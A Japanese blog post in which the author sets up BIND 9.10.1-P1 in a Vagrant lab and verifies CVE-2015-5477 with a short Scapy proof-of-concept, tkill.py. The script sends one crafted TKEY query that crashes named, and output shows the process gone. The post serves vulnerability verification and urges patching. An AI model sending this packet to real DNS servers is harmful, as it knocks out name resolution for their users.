BIND9の脆弱性 (CVE-2015-5477)のPoCを書いて検証してみた


BIND9にDoS攻撃が可能であることが公表されました
- http://jprs.jp/tech/security/2015-07-08-bind9-vuln-dnssec-validation.html

深刻度（Severity）は「重大（Critical）」ということだったので、自分でも検証してみました。
PoC自体は少し前に書いていて記事を書くのが遅れてしまったのですが、丁度その間に分かりやすい記事が出ていたので、原理の説明はそちらに任せて本記事では検証の方法を解説したいと思います。
PoCを公開することの是非もあるかとは思いますが、既に相当前に公開されているので問題ないかと思っております。

#参考
- [BINDのDOS脆弱性(CVE-2015-5477)についての調査と対策] (http://blog.k0u5uk3.net/entry/2015/08/01/000000)
- [BINDに存在するサービス拒否の脆弱性、Windows2000互換コードに原因](http://blog.trendmicro.co.jp/archives/12087)
- [DNSサーバ構築手順(ソースからBIND 9.10.1-P1をインストール + 内部向け権威DNSサーバ構築)](http://qiita.com/na0AaooQ/items/9ed548dd6db2a0c911c4)

#検証環境
- BIND
	- 9.10.1-P1
- ホストOS
	- Mac OSX 10.10.4
- ゲストOS
	- CentOS 6.5
- Scapy
	- 2.3.1

#手順
まずはBINDをソースからインストールします。
基本的に参考サイト通りに進めますが、検証に不要な箇所や、動かなかった場所は修正してあります。

##サーバ構築
今回は検証用にVagrantを使ってVMを構築しました。BINDが動けば何でも良いと思います。

###Vagrantを使ってVMを構築
CentOS 6.5用のboxを用いました。
最後に`vagrant ssh`でログインできれば良いです。

```console
$ vagrant box add centos65-x86_64 https://github.com/2creatives/vagrant-centos/releases/download/v6.5.3/centos65-x86_64-20140116.box
$ mkdir CVE-2015-5477
$ cd CVE-2015-5477
$ vagrant init centos65-x86_64
$ vagrant up 
$ vagrant ssh
```


###必要な物をインストール
予め必要な物や、あると便利なものをインストールしておきます。

```console
[vagrant@vagrant-centos65 ~]$ sudo su
[root@vagrant-centos65 vagrant]# cd
[root@vagrant-centos65 ~]# yum -y install openssl-devel perl-Net-DNS
[root@vagrant-centos65 ~]# yum -y install wget bind-utils vim
```

###BINDをソースファイルからインストール
VMの環境が構築できたので実際にBINDをソースファイルからインストールしていきます。

####ソースファイルのダウンロード
```console
[root@vagrant-centos65 ~]# cd /usr/local/src
[root@vagrant-centos65 src]# wget ftp://ftp.isc.org/isc/bind9/9.10.1-P1/bind-9.10.1-P1.tar.gz
```

####ソースファイルの展開
```console
[root@vagrant-centos65 src]# tar zxvf bind-9.10.1-P1.tar.gz
[root@vagrant-centos65 src]# cd bind-9.10.1-P1
```

####インストール
```console
[root@vagrant-centos65 bind-9.10.1-P1]# ./configure --prefix=/var/named/chroot --enable-threads --with-openssl=yes --enable-openssl-version-check --enable-ipv6
[root@vagrant-centos65 bind-9.10.1-P1]# chown -R root:root /usr/local/src/bind-9.10.1-P1
[root@vagrant-centos65 bind-9.10.1-P1]# make
[root@vagrant-centos65 bind-9.10.1-P1]# make install
```

####確認

最後にインストールできたかを確認します。

```consle
[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/named -v
BIND 9.10.1-P1
```

BINDのバージョンが表示されていればインストールできています。

###BINDの設定
ではBINDの設定をします。

####ユーザ・グループの作成
bindユーザとグループを作成します。

```
[root@vagrant-centos65 bind-9.10.1-P1]# groupadd -g 25 bind
[root@vagrant-centos65 bind-9.10.1-P1]# useradd -u 25 -g bind -d /var/named -c "DNS BIND Named User" -s /sbin/nologin bind
useradd: warning: the home directory already exists.
Not copying any file from skel directory into it.
```

####デバイスファイルの作成

```console
[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/dev
[root@vagrant-centos65 bind-9.10.1-P1]# mknod -m 666 /var/named/chroot/dev/null c 1 3
[root@vagrant-centos65 bind-9.10.1-P1]# mknod -m 666 /var/named/chroot/dev/random c 1 8
```

####rndcキーの作成
```console
[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/rndc-confgen -a
wrote key file "/var/named/chroot/etc/rndc.key"
```

####データ格納用のディレクトリ作成
```console
[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/data
[root@vagrant-centos65 bind-9.10.1-P1]# mkdir /var/named/chroot/var/log
```

####named.confの作成
今回の脆弱性ではコンテンツサーバもキャッシュサーバも影響を受けますが、検証では設定が簡単なのでキャッシュサーバを対象にしたいと思います。
以下のように設定ファイルを作成します。
本当に必要最低限のものだけを書いています。

```console:/var/named/chroot/etc/named.conf
[root@vagrant-centos65 bind-9.10.1-P1]# vi /var/named/chroot/etc/named.conf

Controls {
        inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
};

include "/etc/rndc.key";

acl "internal-network" {
        localhost;
        127.0.0.1/32;
        192.168.0.0/16;
};

options {
        version "unknown";
        hostname "ns1.test.example.com";

        directory "/var";
        dump-file "/data/cache_dump.db";
        statistics-file "/data/named_status.dat";
        pid-file "/var/run/named/named.pid";

        listen-on port 53 {
                internal-network;
        };

        allow-query { internal-network; };

        recursion yes;
        allow-recursion { internal-network; };

        notify yes;
        max-transfer-time-in 60;
        transfer-format many-answers;
        transfers-in 10;
        transfers-per-ns 2;
        allow-transfer { none; };

        allow-update { none; };
};
```


####シンボリックリンクの作成
```console
[root@vagrant-centos65 bind-9.10.1-P1]# ln -s /var/named/chroot/etc/rndc.key /etc/rndc.key
[root@vagrant-centos65 bind-9.10.1-P1]# ln -s /var/named/chroot/etc/named.conf /etc/named.conf
```

####namedファイルの作成
```console:/etc/sysconfig/named
[root@vagrant-centos65 bind-9.10.1-P1]# vi /etc/sysconfig/named
ROOTDIR=/var/named/chroot
OPTIONS=-4
```

###BIND起動
ここまででBINDのインストールは完了しているので起動します。

```console
[root@vagrant-centos65 bind-9.10.1-P1]# /usr/local/sbin/named-checkconf /var/named/chroot/etc/named.conf
[root@vagrant-centos65 bind-9.10.1-P1]# chown -R bind:bind /var/named
[root@vagrant-centos65 bind-9.10.1-P1]# /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind
bind      2345  1.0  2.2 141164 13428 ?        Ssl  14:35   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
```

上記のように`named`が起動していれば成功です。
起動していない場合はエラーが出ていない確認して下さい。

```console
[root@vagrant-centos65 bind-9.10.1-P1]# less /var/log/messages
[root@vagrant-centos65 bind-9.10.1-P1]# less /var/named/chroot/var/log/alert.log
[root@vagrant-centos65 bind-9.10.1-P1]# less /var/named/chroot/var/log/named.log
```

##脆弱性検証
ようやくBINDのインストールが終わったので脆弱性の検証を行います。
今回の脆弱性では、以下の条件のDNSクエリを投げることでDoS攻撃を行うことが可能なようです。

- クエリレコードのセクションのTypeにTKEYを指定する
- 追加レコードのセクションは、クエリレコードと同じ名前を持つレコードを指定する（ただし、TKEY以外）

そこで、今回はPythonのライブラリであるScapyを使って上記の条件を満たすパケットを生成したいと思います。

###ブリッジ接続ヘ変更
今回はホストOSから攻撃パケットをゲストOSに投げつけて検証を行います。
NATだと面倒なので、Vagrantfileを編集してブリッジ接続に切り替えます。

```console:Vagrantfile
$ vim Vagrantfile
#以下の行をコメントインする
config.vm.network "public_network"
```

Vagrantfileを変更したので再起動します。

```console
$ vagrant reload
==> default: Attempting graceful shutdown of VM...
==> default: Clearing any previously set forwarded ports...
==> default: Fixed port collision for 22 => 2222. Now on port 2200.
==> default: Clearing any previously set network interfaces...
==> default: Available bridged network interfaces:
1) en0: Wi-Fi (AirPort)
2) en1: Thunderbolt 1
3) en2: Thunderbolt 2
4) bridge0
5) p2p0
6) awdl0
==> default: When choosing an interface, it is usually the one that is
==> default: being used to connect to the internet.
    default: Which interface should the network bridge to? 1
（以下略）
```
どのインタフェースに対してブリッジするか聞かれるので指定します（今回はen0を指定したかったので1）。

###Scapyのインストール
ホストOSはMacなので、これからはMacのターミナル上での作業となります。
Scapyのインストール方法は調べれば出ますが、うまくいかなかったので以下のようにインストールしました。

```
$ pip install dnet
$ pip install http://ncu.dl.sourceforge.net/project/pylibpcap/pylibpcap/0.6.4/pylibpcap-0.6.4.tar.gz
$ pip install scapy
```

`scapy`だけでインストール可能かと思ったのですが、`dnet`などが無いとうまく使えなかったのでインストールしました。

###パケットの作成
ScapyではDNSのパケットを作成するためのクラスが用意されています。
また、クエリレコードのセクションや追加レコードのセクションを作成するクラスもあるため、簡単に攻撃パケットを生成することができます。
今回は以下の様なDNSパケットを生成します。

- クエリレコード
	- Name : example.com
	- Type : TKEY(249)
- 追加レコード
	- Name : example.com
	- Type : TXT(16)

このようにすることで最初に述べた攻撃パケットの条件を満たします。
ただしScapyではTKEYが指定できなかったため直接数字で指定しています。
実際のコードは以下になります。

```python:tkill.py
#!/usr/bin/python
#coding:utf-8

import sys
from scapy.all import *

pkt = IP(dst=sys.argv[1]) / UDP(dport=53) / DNS(qd=DNSQR(qname="example.com", qtype=249, qclass='ANY'), rd=1, ad=1, ar=DNSRR(rrname="example.com", type='TXT', rclass='ANY', rdata='https://github.com/knqyf263/cve-2015-5477'))
sr1(pkt)
```

たったこれだけです。送信のための`sr1`も同じ行に書けばほぼワンライナーです。
コマンドライン引数から攻撃対象のDNSサーバのIPアドレスを受け取り、そのサーバに対して攻撃パケットを送信します。
一応Githubにあげてあります。
https://github.com/knqyf263/cve-2015-5477

###攻撃実行
では実際に攻撃を行います。
まず、CentOSでBINDを起動します。

```console
[root@vagrant-centos65 vagrant]# /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind
bind      2428  0.5  2.2 141164 13480 ?        Ssl  15:17   0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
```

今回ブリッジ接続により、ホスト・ゲストのIPアドレスは以下のようになっています。

| マシン | IPアドレス |
|:-----------|------------:|
| ホスト(Mac) | 192.168.1.10 |
| ゲスト(CentOS) | 192.168.1.11 |

ではホストOS（Mac）上からゲストOSのBINDに対し攻撃コードを実行してみます。

```console
$ python tkill.py 192.168.1.11
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
...Finished to send 1 packets.
..................................................
```

攻撃実行後、ゲストOSのCentOS上で確認してみると、BINDがいなくなっています。

```console
[root@vagrant-centos65 vagrant]# ps awux | grep -v grep | grep bind
rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind
```

攻撃が成功したことが分かります。
実際に送られたクエリは以下のようになります。
クエリレコードと追加レコードのNameにexample.comが入り、Typeが異なっていることが分かるかと思います。

![kobito.1439739060.736723.png](https://qiita-image-store.s3.amazonaws.com/0/56222/b2d72e42-8e72-be17-308c-a094aa523057.png "kobito.1439739060.736723.png")



今回、`/etc/named.conf`の`internal-network`に192.168.0.0/16を含んでいましたが、含んでいなくても今回の脆弱性は防げません。
ACLなどを確認する前の処理で落ちてしまうためだそうです。
実際に`internal-network`にlocalhostだけ指定し、192.168.0.0/16からのパケットは拒否するようにしても、やはり落ちてしまいました。


#まとめ
今回の脆弱性で、非常に簡単にBINDサーバを落とせることが分かりました。
1つパケットを送るだけで良いので、ライブラリがあればほぼワンライナーで落とせてしまいます。
さらにBIND側も特別な設定をしていなくても影響をうけるようです。
BINDを使っている人は早急に更新したほうが良さそうです。